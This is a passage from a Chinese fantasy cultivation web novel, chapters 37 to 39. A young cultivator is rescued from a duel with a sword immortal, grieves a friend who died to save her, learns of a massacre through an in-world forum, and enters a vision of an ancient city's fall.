霍廷来得极快，以意凝气，以桃林落花凝型，数千数万花剑漫天而来，席卷，包围。
这，就是剑仙吗。真强。
郑予时眼底战意更浓，如此，能拉着他死，值当！
若说先前祭阵尚且还给自己留了一线生机，那么这一次，郑予时清楚，借机将碎裂的锅底铭文揉进自己灵根的她，是阵眼。
出手，必死。
林中桃花满天满地，粉粉的，温馨，然，内含杀机。
郑予时一拍锅身，揉了掌心符隶融进锅底。这，是保命的符纸，这符纸里，裹着保命的药力。
没有大锅加持，她对霍廷，毫无胜算，但无论如何，她，想保下它。
“大锅。再见了。”
凌冽剑意气势逼人，郑予时捏死了锅耳，以腹内之力调动那上古铭文，准备以命，搏命。
一击，内脏肺腑翻涌，一锅一剑再次对上，然而这次，诡异至极，元婴修为的郑予时竟是与大乘霍廷，相持了下来。
地裂正中，两人一人立足一方。
郑予时浑身染血的衣裳被灵力搅成破烂，她呕血不止，肌肤皮肉沿着血管筋脉完全炸开，血肉模糊，狼狈不堪。然而就是这般，她也仍是拼命榨干着自己的所有，强撑，死撑，只因为另一方的霍廷，也呕了血。
她，绝对能杀他！
虽然，会死。
“来啊！霍廷，杀我啊！”
沉寂过后的，是暴风一般的狂乱。郑予时像是发了狂，大喊着，大吼着，叫嚣、挑衅，像个疯子。
丹田灵力暴肆，铭文，只差一丝便完全点亮。
“霍廷，咱们，都下去陪他吧。”
言落，灵爆将出，然而就在这时，蓦地，黑夜当空一声呵斥，竟是如那润物春雨，‘浇灭’了在场所有，不止她的灵爆，甚至还冲破了霍廷满地桃林的剑势，破局而来。
“嘿！剑下留人！”
吊儿郎当，抠手落地。
入目，潦草褴褛。
来人一身麻布裹身，这一块黄，那一块灰，层层叠叠，歪七扭八，他的头发胡须大至是多年未修了，竟是完全长到了一起，面黄面黑，嬉皮笑脸，像是荒城地下的地痞流民。
可就是这样一个人，却是一声，吼住了大乘霍廷。
只用了，一声。
外来者，霍廷似乎并不在意，然而他不在意，却仍旧是被他那一喊震得动弹不得，僵在原地。
趁他病，要他命。
郑予时自问她自己向来不是什么好人，见着霍廷被那老乞儿打扮的来者控住，甚至逼到毒发灵力停滞，她立马再调灵力，一冲而上。
腥红眼睛满是充血红丝，退，今日，绝无可能。
她，要他，死。
“欸，嘿！小娃娃也是，锅下留人！”
又是一声，前一句并未针对郑予时的话已然叫她灵力松了三分，而如今这句专对她的，瞬间止住了她杀上去的动作。
瞪目而去，老者竟是意外一顿，随即，胡子一摸，乐了。
“嘿你个小娃娃，还挺凶。但是，偷袭是不对的。有辱斯文。”
双方对战，老者随意参入，看似是谁也不帮谁也不害，但就在霍廷恢复灵力从背后再攻而来时，他下意识的动作，却彻底暴露了他出现的真正目的。
后背剑意寒
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人，老者胡须一撩，甚至连头都没回，直接一把提溜了被他一言控住不能动的郑予时，飞身而去。
逃！
霍廷身后带人来追，老者夹着郑予时急速逃窜，然而被救的她却丝毫不领情。
口出狂言，埋怨、过激，无差别攻击着所有拦她的人，无论好心还是恶意。
失去亓涿光的痛不能平，郑予时她，心痛难捱，已经是没了理智。
“放开我！老东西，快放开我，放开我！我要下去杀他，我要杀了他！啊！”
“嘿你个小娃娃，喊我老人家什么呢？懂不懂尊老爱幼哦，没礼貌。”
脑门儿一拍，叫嚣着打打杀杀的郑予时瞬间被噤了声。
老者夹着她，虽是在逃，但步步闲适非凡，倒像是在自家小院儿饭后散步那般，是一点儿不紧张身后的霍廷会攻上来。
见着她气到涨红了脸，老者一叹，苦口婆心。
“娃娃，你杀不了他的。咱别送死，成吗？欸，这下头咋还有一个？”
三息不到，闪影岸边，老者一眼便瞧见了刚刚下了岸正往桃林里冲的禾欢欢。
得，多一个不多，少一个不少。
另外空闲一手伸去，一揪，抓了禾欢欢的领子，抓来，夹到了另外一边。
踏空而上，步入海面白骨。
“走你！骨头船！”
一令，一动，白骨沉海，消失无踪。
霍廷追到岸边，却是不动，眼底神色幽暗。
“尊者。咱们，还追吗？”
虞山重伤将死被弟子抬了回去，霍司棋带人紧跟其后，见霍廷一停，立马上前询问。
“尊……者？”
“不。回去，禀告宗主。就说，霍俞，叛离宗门，当，诛。”
霍俞？霍……俞！霍承启！？
霍司棋愣住，不能言。
这居然是，他那从未谋面的二叔叔……
微妙的气氛漫了开，而奔赴前来接令的弟子被霍廷这一言，同样吓到满目震惊：刚刚那个潦草老乞，居然就是霍宗主的二弟，霍廷尊者的二哥，世称烂人醉鬼，一言惑人的浪荡言修，风月仙尊！
曾经人界的潇洒公子、修界的最美仙尊，居然，居然成了这副鬼样子！？
怎么可能！
*
海上消息惊骇，海底无人能知。
霍俞带着两人上了‘船’，稀奇，一乐，直接以灵操控，开得不亦乐乎。
海底飙船，超鱼，飘逸，刺激得简直是不行，霍俞开到高兴时，甚至还掏了瓶酒酿，仰头一罐，啧啧赞叹。
“好酒！好船！”
这一路，苦了动不得的郑予时和完全站不住的禾欢欢，随着霍俞的灵魂飘逸，两人东倒西歪，一会儿撞头右壁，一会儿‘追尾’滚团，稀里糊涂，摔得很惨。
郑予时想打想杀，本就心力交瘁的她，再这么一折腾，没多久就晕过去了，后来，还是被人害成兽身的宜东藏出手，护住了她们。
重回鲲型，体大，难以动弹，然而那展开的两翼却是很好的固定‘座椅’，他一人一边把着，颠簸之中，改变了两人碰碰车一样的路途命运。
海底之行，一共花费了两三个时辰。
等上岸出水，下了古兽白骨，禾欢欢一抬眼，瞬间僵直了身体。
竹林，小院。石路，炊烟。
这！这不是禾丹宗的后山禁地吗！
他们不是潜入无垠海底了吗？为什么会回到禾丹宗？为什么禾丹宗从不让人靠近的后山禁地又会接连着无垠海？
怎么会！
这到底，怎么回事……
37. 第 37 章
灵力转动，丹田满溢。
郑予时再睁眼时，是一间素朴的木屋。
她醒了，很遗憾，梦中初醒，并不像别人一样迷茫无措，她现在，清醒得很。
清醒得，很想哭。
坐在床上，缩成一团。郑予时抱住自己，埋首臂窝。
身体里的灵力流动得很顺畅，半点排斥的迹象都没有，可明明，这，不是她的。是……
是他的啊，是亓涿光的啊！
桃林消散的那一幕刻入心底，痛到将要窒息，每每回想，总是心脏抽抽地疼，忍不住。想哭。
泪水咸涩，顺着侧偏的面颊滑落唇间。
真苦。
整个房间，只郑予时一人，缩了团着，悄无声息，死气沉沉。
日光透过窗檐挤了进来，从最左洒到了房间正中，一上午，时间悄然流逝着，但房中却仍是闻不得一声响动。不知又过了多久，蓦地，只听外头突然传来一声轻笑，乐呵着，像是在挑逗着谁。
“哈哈哈。翻一个，再翻一个嘛！师兄！拜托啦！”
是，禾欢欢？
熟悉的人，熟悉的声音，郑予时空洞麻木的眼里终于有了些情绪。
起身，出门，入目的是满园翠绿青竹和一潭极大的幽静蓝湖。那湖，蓝得彻底，山风吹过，竟还带来了一丝咸腻的味道。
这是，海？
往前，山中海里，一只熟悉的鲲兽翻飞而起，就像刚刚那嬉戏调侃的话里一般，一翻、两翻，腾空飞旋，双翼高展，之后，砸入海底。
“砰———哗啦啦啦啦。”
那海里的，是宜东藏。
宜东藏仍是鲲兽的模样，一尾两翼，他砸入海中的动作并不算好，甚至因为笨重还溅了一地的水，浇了岸边的人满身。
“哈哈哈！哈哈哈！师兄，好厉害啊！”
禾欢欢身上湿透了，湿发一甩，洗尘诀一施，重归干燥。
天落水洒，她玩儿得不亦乐乎，两手一拍，看着是又想要再来一次。
“咳咳。”
宜东藏在海里正对着郑予时来的方向，见了她，他立马缩了头，像是不好意思，只留了一对黑溜溜的眼珠子，转了转。
“师妹，别玩儿了。”
“再来一次嘛，我保证，这是最后一……”
“郑予时醒了。”
“啊？真的！”
宜东藏的眼神提溜转着，听他这么一说，禾欢欢立即顺着他的视线回身看了去。
一眼，喜极而泣。
“郑予时！你个不要命的疯子，担心死我了你知不知道！”
飞扑而来的人，暖暖的，她抱着她，很用力。
感受着后背传来的力度，郑予时心上的缺口似乎被她填补了些，她伸手回抱着她，无声，无言。
“对嘛，我就说差不多这两天就该醒了嘛，你个丫头片子还非不信！”
沧桑却又吊儿郎当的声音是那么的熟悉，禾欢欢松开了她，环着她冲到了岸边石头上坐着的老者身前。
“是是是，前辈说的是，我信您！”
“哼，你之前可不是这个态度啊，小丫头。不过老头子我心胸宽广，才不跟你计较。”
老者仍是抠着他的手，脏污一弹，看了过来。
“哟，娃娃，恢复得不错嘛。”
“郑予时，这是霍俞霍老前辈，西疆域那儿他是专门来救咱们的。霍俞，是霍俞欸！”
禾欢欢和郑予时一起瞧见过她师傅给她的卷轴，自然知道，师傅要她找的人是他，是霍俞。
然而，一见到霍俞那张脸，郑予时瞬间情绪上头。满目、满眼都是桃林亓涿光死去画面的她，满心、满脑子都是霍俞拦了她杀死霍廷报仇的她，早就听不见禾欢欢到底在说什么了。
情绪起伏，眼底生恨。
那样子瞧着，竟是比几日前桃林救她的时候更气急败坏几分，憋红了眼。
哦哟？
手指再抠，霍俞眉尾一挑，漫不经心。
“娃娃，你这怒目横眉的样子，是要恩将仇报？你可记清了，是我，从霍廷手底下把你救回来的。”
“救我？救我！可我从未说过要你来救！”
一吼，语气更冲。
“你为什么要拦我，为什么要救我。他杀了亓涿光，我明明可以杀了他的，我明明可以杀了他的，为什么！为什么你要出现！为什么你要来阻止我！”
“因为，你不能死。我必须要来救你。”
“那他呢！他死了就无所谓了是吗！”
泪水顺着眼眶滚了下来，像是断了线，完全停不住。
禾欢欢完全拦不住她，郑予时额上、脖间青筋暴起，情绪激动到吓人，满口言语纯是暴动的脾气，冲得很。
她一把上前，揪住了霍俞本就破烂的衣领，边哭边喊。
“你说你来救我？那你为什么不早点来，为什么！为什么偏偏在他死了，在他被霍廷杀死了之后你才来！为什么！为什么你不早点！为什么偏偏，只，晚了一步……”
揪着人的手渐渐松了，怒意、愧意，所有的所有在那一瞬间一同吼了出，情绪抒发，郑予时心里的窟窿疼到抽搐。
霍俞任凭她抓着，不进不退，不怒不恼，因为激她，本就是他的目的。
见着郑予时吼完后稍微冷静三分的样子，他动了手。
“吼出来，是不是舒服多了。娃娃，别什么事儿都自己憋着，会憋坏的。”
头上抚上来的手，粗糙又带着几分柔。
从前，归元观里，每次炼丹失败，她一个人生闷气的时候，师傅他也总是会如这般，一边拍着她的脑袋，一边同她讲道理。
霍俞的这个动作，太熟悉了，熟悉到郑予时甚至都忘记了躲。
理智回笼，刚刚那一腔恼怒的发泄让她心生愧意，她知道，那是不对的。她也知道，这事根本就不怨霍俞，是她自己胡乱泄愤，更是她自己，没本事，太弱、太废。
“对不起，前辈。我……对不起。”
无措的话，唯有真诚的歉意。
“伤势好些了？”
“嗯，多谢前辈。”
“不用客气，老头子我可不会医，你的伤不是我治的，我只是承了你师傅的情，不得不救你。”
是了，他是霍俞，是师傅要她去找的霍俞。
双膝一跪。
“对不起。前辈，谢谢您。”
“嘿你这娃娃！”
灵力一扶，止住了郑予时磕下去的动作。霍俞可受不了煽情的场景，立马
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就想转移话题，然而，就在他的灵力触了她的瞬间，一愣，咦出了声。
“咦娃娃，你这灵力，不对劲啊。”
“是……是他的。”
“我知道，我是说你这一身别人的灵力居然都没有排异反噬的，啧啧啧，奇观啊！”
“当时我重伤将死，是他，献祭心脉至纯之力，救回了我。”
“不是哦，娃娃，你小看给你传这一身灵力的人了。”
霍俞一摸他那把潦草的胡子，乐呵呵的。
“心脉献祭，灵力到了另外一人身体后，等再完全融合之时，接收者必将被那外来的异样灵力冲击经脉，那可是痛得不能再痛的排异、融合的过程，除非……”
“前辈。”
霍俞咂咂嘴，也不再卖关子。
“除非灵力原本的主人，在输送灵力给你的时候强行用灵力暂时逆脉，依照你的，更改自己的经脉走向，在自己体内转换完毕、替你承受了这融合之苦后，再渡给你。”
“娃娃，你这个朋友，为了你可是煞费苦心。对你，好极。”
泪，顺着面上滑落在地，郑予时止不住，完全止不住，她内视一查，在触及到真如霍俞所说完全没有排斥痛楚的经脉灵力后，彻底崩溃。
蹲地，抱头，嚎啕大哭。
霍俞说得对，他对她，极好，极好，可她呢？
她不过是匆匆岁月中得幸陪过他一段时光，她不过是漫漫人生路同他走过一段旅程。从到了这里，她一直在意的都是自己活命，她一直关注的都是揭开她到这个世界的谜底。
这么自私的她，怎么配，配他用命，来护她啊……
声嘶力竭着哭了很久，久到天边日头渐渐落了去，情绪失控的郑予时这才收了她那沙哑到恐怖的嗓音。
她抬头，看向了一直耐心陪在她身边的禾欢欢他们，看向了石头上盘坐着的，安慰她的动作像极了师傅的慈蔼霍俞。
“是啊。他对我，真的很好。”
像是寻求安全感的雏鸟，小娃娃黑溜溜的大眼睛哭得红得吓人，一抽一抽的，可怜巴巴。
霍俞无奈一叹，循着老友嘱托的话，忆起桃林中她不要命的拼死打法，他又一次抚上人乱糟糟的头顶，试图开解她。
“娃娃，别轻易的就想着死，就算是复仇也一样，别拿命去拼。死很容易，但要活却是最难的事情。”
“逆脉很痛、融合更痛。你要是随随便便的就死了，让受尽反噬，拿命传了你这一身修为的人怎么办？”
“他的一番好意，糟蹋咯。”
霍俞的话，诙谐几分，很轻，却又很重。
道理，郑予时其实都明白，只是，她从来不是主动选择到来的这个世界，对这个世界，她唯一的联系、最深的联系，只有亓涿光。
亓涿光的死，她接受不了。
所以……
攥紧掌心的指尖，松了，又紧。合着手心那一抹血色，郑予时声音沙哑，垂了头。
“前辈。谢谢……”
她懂的。但如果再来一次，她还是会这样做，她还是会选择舍掉性命拉霍廷一起，下地狱。
因为，他，是亓涿光啊。
是这个世界上，她唯一的，亓涿光啊。
她舍不得……
38. 第 38 章
半月调理，虽有亓涿光渡给她的灵力打底，但她那一场自杀式的进攻还是伤到了自己。医治她的人，是禾觅清，而这些天，也一直是他在帮她疏通经络。
这次见禾觅清，跟上次见他，给郑予时的感觉很不一样。
禾欢欢说他爹要她照顾好她，所以这次是她求了她爹来救她的，不用跟他客气，但郑予时仍是觉得禾觅清对她的态度，过于小心了。
特别是在她提及霍俞、提及师傅的时候，装聋作哑。
不止如此，这些天，霍俞不见了。他只托禾觅清给她带了一句【等她好了，想问什么他都同她说】的留言后，便消失得毫无踪迹。
霍俞走了，禾觅清倒是来得更勤了，如此，难免碰上鲲形的宜东藏。
但说来也怪，禾觅清对宜东藏的态度，也很奇怪。
不知道他们之间是否发生了什么还是什么都没发生，暗中总觉暗流涌动，但总之，明面上却还是保持着宗主与大弟子的和善关系，相处得还过得去。
说到宜东藏，郑予时养伤的这半个月，禾欢欢从宗门里搬了好些古籍，陆续着，近乎塞了整个屋子。终于，三日前他们找到了兽身人身转换的方法。
宜东藏试了，可行，但极其不稳。
或是由于古籍记录太过久远，略有不全，技法一施，他虽是能变回人身，但只要情绪一激动，保准‘噗’的一下又变回去。
本以为以宜东藏的定力，控制情绪不成问题，但这三天，他时不时就在众人面前变身成鱼的尴尬，让禾欢欢看清了一个事实：原来，她家向来沉稳冷静的大师兄，其实是个内心戏极其丰富的闷骚。
没办法，为了不让宜东藏岸上搁浅，禾欢欢只好又从秘阁里‘偷’拿了他爹的牵丝绳。
牵丝绳，捆人、捆兽。
它是千年前一位娶了兽族妻子的炼器大师炼制的宝器。
当时大师的妻子怀孕将要临盆，但灵力失控，兽形、人形不断切换，根本生不下来，接生者断言，如若不能稳住人形，必，一尸两命。
为救妻儿，临产当夜，大师在妻子的惨叫中一边哭一边炼出了这一可控制兽族变回人形的宝器，牵丝绳。
早些还没从古籍中找到让宜东藏变回人形法子的时候，禾欢欢其实就想用这牵丝绳先捆了他的，但宜东藏坚信他们可以借助自己的力量成功，于是，牵丝绳的计划搁浅流产。
但如今一瞧，宜东藏显然不能完全控制自己，虽然自强重要，但偶尔辅助工具，还是得用的。
所以这三天，郑予时的门前，他俩总是形影不离。控制不了自己的宜东藏和擅使牵丝绳的禾欢欢彻底成了‘连体婴’。
日升到日落，一天下来，饶是禾欢欢再努力地安定宜东藏的情绪，但光是那牵丝绳，她就使了不下三十次。
“师兄，你……你住脑吧。别再想些有的没的了。”
禾欢欢的情绪越来越低。
手里的绳子捆了又松，松了又捆，好好一宝器，这三天一搞，竟是用到生了些杂毛。
“对不起。”
“……”
禾欢欢没生气，也没想骂他，只是口嗨罢了，但宜东藏鱼脸上的委屈叫她心里一愧。
牵丝绳甩出，一捆，拉了搁浅的鲲兽，救他摇身一变，变成了个可怜巴巴的落魄大帅哥。
恢复人身，收了绳索，禾欢欢一望房内的郑予时，求助无果，但还是想再安慰他几句，然而这时，她身上的储物袋里却是传来一阵急促的震动。
“嗯？”
掏出一看，是通讯令牌。
“小师妹？怎么了，找我找得这么着急？”
“师姐！你看没看你之前让我在天下楼里发的消息？我跟你说哦，爆火！爆火！你快去看呀！”
两声‘爆火’，音量震天响。不止禾欢欢，一边的宜东藏和屋里的郑予时都听到了。
爆火？
怎么个事儿？
通讯挂断，禾欢欢抬手喊人，三人集结屋外空地。
通讯令牌不止可以通讯他人，还登入天下楼发文，在天下楼里，可以看到各个宗门弟子在上面发的各种消息，算是修界议论大小事、八卦的一个公开论坛。
论坛一开，小师妹发的那一则消息直登榜首，红彤彤的标题挂在上头【惊！西疆域围杀小宗门弟子，恃强凌弱，为非作歹，扬言西疆统霸天下，唯我独尊！】
“……”
进去一看，俨然，就是桃林一战中，郑予时那张留影符记录下的画面。
画面是掐了头去了尾的，里面只展现了西疆域仗势欺人的动作，却没有把郑予时他们一行人放进去。
“欸你们看！下面好多人回复，说之前西疆域仗着大宗门欺负人的事儿呢！”
粗略翻了看，大致数了数，不满西疆域的留言不下千余条。
只是看时间，禾欢欢小师妹的这一则消息，是二十天之前发出的，从那时起就已经很多人看到，很多人回复了，但为什么，直到今天，那个小师妹才来给禾欢欢传讯说，爆火了呢？
这些天她心情低沉，禾欢欢和宜东藏又忙着找法子变身，三人近乎全忘了还有留影符这回事。
但这并不代表着，他们是傻子。
郑予时刚想问禾欢欢是什么时候联系的小师妹，蓦地，只见令牌再次剧烈一震，一声嗡鸣，顶上弹出了一条消息。
【无垠海域探险，西疆域隐藏的惊天秘密！】
进去再看，而直到这时，直到看到了这一则消息，身处禁地调理的三人这才知道外头这半个月来到底发生了什么事。
二十天前，桃林围杀的留影一经公布，火爆论坛天下楼。其中阴阳怪气、义愤填膺，说什么的都有，各路妖魔鬼怪都往这儿凑了热闹。
西疆域独占修界鳌头多年，如此引了众怒的铁证，自然底下有谋利者想借此机会，号人，集势，反！
但是不巧，无垠海域近日却突然异象徒生。
论坛消息中，是一段留影。影像里，无垠岸边，浪卷三丈，幽蓝海水竟是从海中径直拔高而起，直冲天际，隔绝外界。而那三丈浪卷，像是无垠海召来的一道天然的保护屏障，保护的对象，正是众人想要讨伐的西疆域。
禾欢欢小师妹发的那则消息里，不只有西疆域对他们围杀的那段留影，她还在下头解释了事情起因，说，是西疆域先虐杀无垠海浮钰兽，他们去救，这才被其围杀。
如此，对于如今无垠海这明显浪卷庇护西疆域的动作，论坛上人云亦云，议论纷纷。
舆论再变：桃林围杀的留影是裁剪过的假的！无垠海根本就对西疆域没敌意，虐杀浮钰兽根本是谣言，那围杀留影只为抹黑西疆，煽动义者暴乱，霍乱世间！
然而这一则变动的舆论瞬间便被打了脸。
只因发布这一则【无垠海域探险，西疆域隐藏的惊天秘密！】消息的人，在下头又附上了另一条清晰血红的留影，而正是这一则留影，爆火论坛，有了推送，才被郑予时他们看见。
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留影中，消息主人似乎是集合了三五好友一同探险查询真相，一群热血青年，愣头青，冒死强行出海，顶着海域上空乌压压的雷云，硬是划到了西疆岸边，划到了那被鲜血染红了的死亡海域。
海、陆，那本是无垠海和西疆域相接的地方，那本是两域相互守护的地方，全是血。
岸上搁浅、海面漂浮，各种水族的尸体，各种鱼尾、兽翼的残肢，各种烂肉碎骨，揉在腥臭暗红的海中，像是一潭死水，毫无生机。
这，这根本就是虐杀啊！
无垠海在各岸开启的那浪卷哪儿是因为没敌意，哪儿是自愿地为了保护西疆域啊，那分明就是！就是无垠海族被西疆屠了干净，掌控权易主，这才不得不‘保护’西疆域的啊！
丧心病狂！不是人啊！
论坛上骂声四起，那满是血红的画面，看得人眼睛红得不像样。
宜东藏看到了，出海探险那人的留影，他看到了。其中，兽族的尸体，兽族的残肢，他看得清楚。
‘噗’一声异动，等郑予时回神去看时，只见空中一道巨大的鱼影掠过，直窜屋前的那一潭连接海域的海水中扎去。
“师兄！”
禾欢欢一惊，立马甩绳去拉他，然而宜东藏的动作太快了，化为兽形的他实力比从前更进一层，全力之下，禾欢欢抓不住他。
“郑予时，帮帮我！”
其实在她还没开口的时候，预测不行的郑予时便早早的出了手。
有了亓涿光的，如今她的修为一跃而上，元婴境中期，是他们中实力最强的一个。如此，宜东藏发狂，能压住他的，只有她。
大锅一招，暗红之气包裹其上，一闪，一承。
有了灵力滋补，足以变幻形状的大锅一大再大，入海一息，竟是连鱼带海水一同‘挖’了上来。
“禾欢欢，捆他。”
“好！”
牵丝绳一出，一束，承了满满一口海水的大锅里，泡了个湿哒哒的人。
宜东藏的面色还是很激动，禾欢欢没有向往常训练那般松了绳，她紧攥着，生怕他再有别的想法。
“师兄，你冷静一点！”
“你要我怎样冷静，他们，杀了我的族人！屠了我的家人！你要我怎样冷静！”
“禾欢欢，你若还当我是你的大师兄，你若还当我是你的朋友，就松开我！放手！”
手里紧勒着的绳子勒得禾欢欢的手心火辣辣的疼，然而，却是不松。
“师兄，对不起，我……”
“东藏，静心。”
一言，浑厚声压威信满满，宜东藏，安静了三分。
“爹！？”
竹林之中，竹叶吹落，每日一来的禾觅清本应傍晚来此，但今儿却巧得很，这会儿，来了。
“爹，我……”
“无事。”
禾欢欢本来想解释牵丝绳的事儿，但她去秘阁，禾觅清怎么可能不知，无非是顺着她，睁一只眼闭一只眼罢了。
禾觅清伸手，点开了捆住宜东藏的牵丝绳。
“无垠惨案已无法挽回，你们现在要做的，不是去送死，而是别的。”
适时地，霍俞竟是突然现身。
他像是和禾觅清早就商量好了一样，两人默契一对，接过话去。
“还记得我说过的话吗？活着，往往才是最难的选择。”
“无垠海的事你们都知道了。现在，跟我来吧。”
“有些事情，是时候揭开了。”
39. 第 39 章
纪云城，城主府。
炸城离开将近一月，再次回来，城主府院墙早已修复完善。
禾觅清和霍俞一左一右走在前头，身后跟着的是郑予时他们三个小辈。
说实话，再回纪云城，郑予时没敢想会是和禾觅清一起，而直到两人带着他们往那城主府中他们曾去过的密室去时，三人不禁心下愕然，相视而望。
这里，到底还隐藏着什么秘密。
进入密室，入目的，依旧是那一壁仙人凡人浴血相战的恐怖绘图。
禾觅清伸手请了霍俞，霍俞一咳，声嗓一开，吼了声：“开门。”
声波荡开，只见那壁面绘图正中，一道诡异图案渐渐从中拧动、漫开，壁面其后，数声‘咔哒’‘咔哒’的像是机关齿轮转动的古怪声响接连而起，三息，只觉正中一道灼眼亮光迸出，下一瞬，几人消失原地。
壁画，恢复原样，无动，无声。
白光一闪，眼中被晃的虚影持续了足足有三秒，光晕过后，再睁，彻底看清他们如今所在的郑予时三人，惊呆了。
古城热络，繁华街道，人来人往。
“这！这！”
这竟和传下来的百年前纪云城的绘图一模一样！
禾欢欢张嘴震撼，两声惊异，不料身后正街来人，竟是径直穿了她的身体，禾欢欢吓得浑身一抖，嘴里的话是全部吞了回去。
这到底是哪儿！这到底是怎么回事！
“这是，百年前的纪云城。”
“是那一战之前，它最后的模样。”
禾觅清带头往前。
“走吧。去城主府。”
跟在两人后头，对此，郑予时三人完全摸不着头脑。
壁画记载、姜茹口述，人证物证相佐，禾觅清就是纪云城一战的罪魁祸首，但现在，他却莫名带着他们入了百年前的影像之中，他到底想干些什么？又或者是想说些什么？
百年前的这一战。
她，有些看不清了。
往城主府的路上，大街小巷，热闹的很。
商贩叫卖，行人交谈，一家子上街买吃食，邻里往来孩童打闹，其中，红彤彤的衣服裹着一个小小的团子，一笑，门牙还缺了一颗，糯叽叽的样子，可爱极了。
“噗。”
小女孩儿头顶两个牛角包样式的黑发团，手里攥着半根糖葫芦和一副街边买的丑陋面具，她眨巴着眼，似是听到了郑予时那一声轻笑，乐滋滋地看了过来。
一大一小，对视相望。
郑予时不禁心下一惊：她，能看见她？
“童童，走了！”
“来了阿娘！”
小团子头也没回，她答着街头那边妇女的喊话，眼睛却仍是粘在郑予时身上。
突然，小团子龇牙一笑，向前递来了她咬了还剩下一半儿的糖葫芦。
像是，要给她。
糖葫芦一串，拿在小团子小小的手里显得特别大、特别甜，她要将这糖葫芦送给郑予时的动作太明显了，明显到她分明知道这只是留影，却仍是心里一暖，伸手去‘接’。
只是，似乎小团子觉得，送一个被她咬得满是口水的一半糖葫芦有些不好，郑予时还没能接住，她便又收回了手，换了手里另外一样的面具，递了过来。
小团子的眼睛亮晶晶的，街头妇女再喊。
“童童！”
“来啦来啦！”
小团子应着，匆忙往她怀里一塞，异物坚硬的触感袭来，等郑予时一惊回神，街头早已不见了那小团子的身影，而她的手里，竟是真的抓了那送来的礼物，抓了那副小团子手里的丑陋面具。
这……
“我的天！郑予时，你……”
一场异样，禾欢欢和宜东藏看得清楚，而一直在前头带路的禾觅清和霍俞两人自然也看到了如此跨越时空的交互。
不同于三人眼里的惊奇，年长两人相视一望，像是早就知道会如此这般，像是释然、像是落定，神情复杂。
“走吧。时辰快到了。”
禾觅清依旧走在前头，郑予时将面具捏在手里，莫名，有一种熟悉的感觉。
这面具，她似乎，在哪里见过……
半刻不到，再次进府，这一次，他们走的是大门正道。
只是大门穿进，却不入正院。
“爹，我们这是去哪儿？”
“城墙。”
横穿城主府，一跃城墙上，禾觅清和霍俞带着他们三人，站到了将无垠海与纪云城相隔的最后一道防御之处。
城墙，极高，成圆形包围状，将整个纪云城围得安全又严密。
从沿着崖边的城墙往城内走，掠过城墙最东，他们到了最高的一处，到了城门入口。这里，不只可以一勘全城，更可以清晰地看清城外战场的所有景象。
这里，才是禾觅清此行带他们来的，真正的目的地。
向内俯瞰全城，直至脱离其中、置身事外，三人这才察觉不对———这座城里的人，流动极其异常，竟是全部都往着城主府的方向，奔涌窜去。
这是……
“爹？”
“轰隆隆———”
“轰隆隆———”
突然，城外战鼓奏响，回身，只见辽阔大地，一掀尘土漠黄之色，其下，隐匿身形的数十万大军扬土攻来。
“杀！”
“杀！”
“杀！”
战鼓鸣，壮士行。
铁骑在前，步兵奔后，弓弩、投石，盾牌、朴刀，气势汹涌。
杀战、冲城。
巨木撞上城门，巨石砸毁城墙，轰隆坍塌，地动山摇。
城，破了。
“杀！”
冲锋陷阵，铁骑雷厉风行，率先冲入城中，然而就在这时，诡异的一幕发生了。
破门，入城，瞬息之间，战马尖鸣，将士呆滞，数百冲入纪云城中的骑兵竟同时僵直，他们像是被人操控住的提线木偶，排排而立，踏步，向着城主府的方向缓缓前行。
身体被人操控，精神却还是自己。
士兵们的脸上惊恐、狰狞，无措却又无可奈何的绝望折磨得他们近乎欲死。
他们，和城中居民一样，都奔着那个方向，前去。
这到底是怎么回事！
不只郑予时他们察觉到了异常，带兵坐镇的将军也是如此，鼓声骤变，进攻的势头，停了。
但是！他们停了，城，却不满意了。
城门之处，忽然撕开一道空间裂口，强大的灵力自内倾席而来，带着势不可挡的吸力，将战场士兵们疯狂地往里吸。
“啊！不要！”
“救命，救！”
突如其来的超常现象让从未修习过灵力的凡人士兵们惊慌失措，城外战地，他们尖叫着，惶恐着，然而还是被那裂口吸入其中，揉碎血肉。
“爹，这到底是怎么回事？这是百年前纪云城一战的真相吗？是幻象吗？是假的吗？”
是，假的吗……
面对禾欢欢的连问，禾觅清却没将答案告知，他看向一边似是若有所思的郑予时，独独，问了她。
“你觉得，这里，是真，还是假？”
手里的丑陋面具仍捏在指尖，摩梭几分，有些硬。
城下，两国交战的士兵本因为国而战，为家而活，但是却莫名惨死在这空间裂口之中，这，根本就是单方面的屠杀！是修者，对凡人的屠杀！
这并不人道！也，不公平！
视线穿过城内看向那城中府上，街道小巷，大量涌去的百姓，密密麻麻。
郑予时皱眉，召出了她丹田内的大锅。
这，是她的选择。
然而锅却并非是锅，经桃林一战，再经半月调理修行，她发觉了大锅的另一种使用方式，那就是，长枪。
而，此枪，非彼枪。
大锅碎裂，本来便是成片的碎片，只因那诡异的暗红之气方才粘黏成型，所以，若是能驾驭那暗红，碎片，便可凝结成任何郑予时想要的东西。
而对她来说，对拥有混元灵根的她来说，对掌握了弹药爆破的她来说，远程射击的武器，非枪械莫属。
最简易的枪，最简单的药，引入灵力一射，城下裂口处，四方八面覆盖完全。
见郑予时动手，本就看不过去的禾欢欢立马帮忙。
储物袋里的防御符紧跟其后，围住了还未被卷入裂口的士兵，为他们清出了一道安全的防护墙。
“轰轰轰———”
丹药冲撞，灵破，接连不断的爆破声骤然响起，轰隆隆的声音伴着灵力冲撞的力量密密麻麻向那裂口砸去，但奇怪的是，不似击碎裂口的全力一击，郑予时这一手，更像是连绵小雨，细而密，但威力却并不算强。
她，什么打算？
禾欢欢不免转头去望，然而这一下，她瞧见了郑予时眼底一亮的异样。
顺着她的视线再看裂口，一眼，生惊。
那开在城门正中的裂口，竟是在数百灵力小爆破的冲撞中，显出了一个破绽！
“禾欢欢，宜东藏。”
“好！”
“走。”
三人默契对视，倒是没再在意这里到底是幻境还是真实，下城，合力攻之。
修界之力，不可沾染世尘凡人。
这是他们修者的傲气，是他们修行的道心，是他们的责任。
禾欢欢持剑，宜东藏握棒，灵力聚集。
大锅回型，郑予时抓着锅耳插入地里，她随手抓了一把药丸丢入其中，灵力一融，锅底一拍，那揉了药力灵力的暴肆力量向前一冲，禾欢欢两人见状合势。
三人合力，一击，碎了那裂口，断了它不断往里吸入生人的势头。
事了，禾觅清和霍俞这才下了城，他们拍了三人，偏头一望，示意他们往里瞧。
转头，霎时，刚刚成功的喜悦转瞬即逝，那裂口被他们击碎了，然，吸食生人的力量不再，可那裂口却是开裂得更大了些，大到，他们所有人都能清晰的瞧见，那里头的血腥画面。
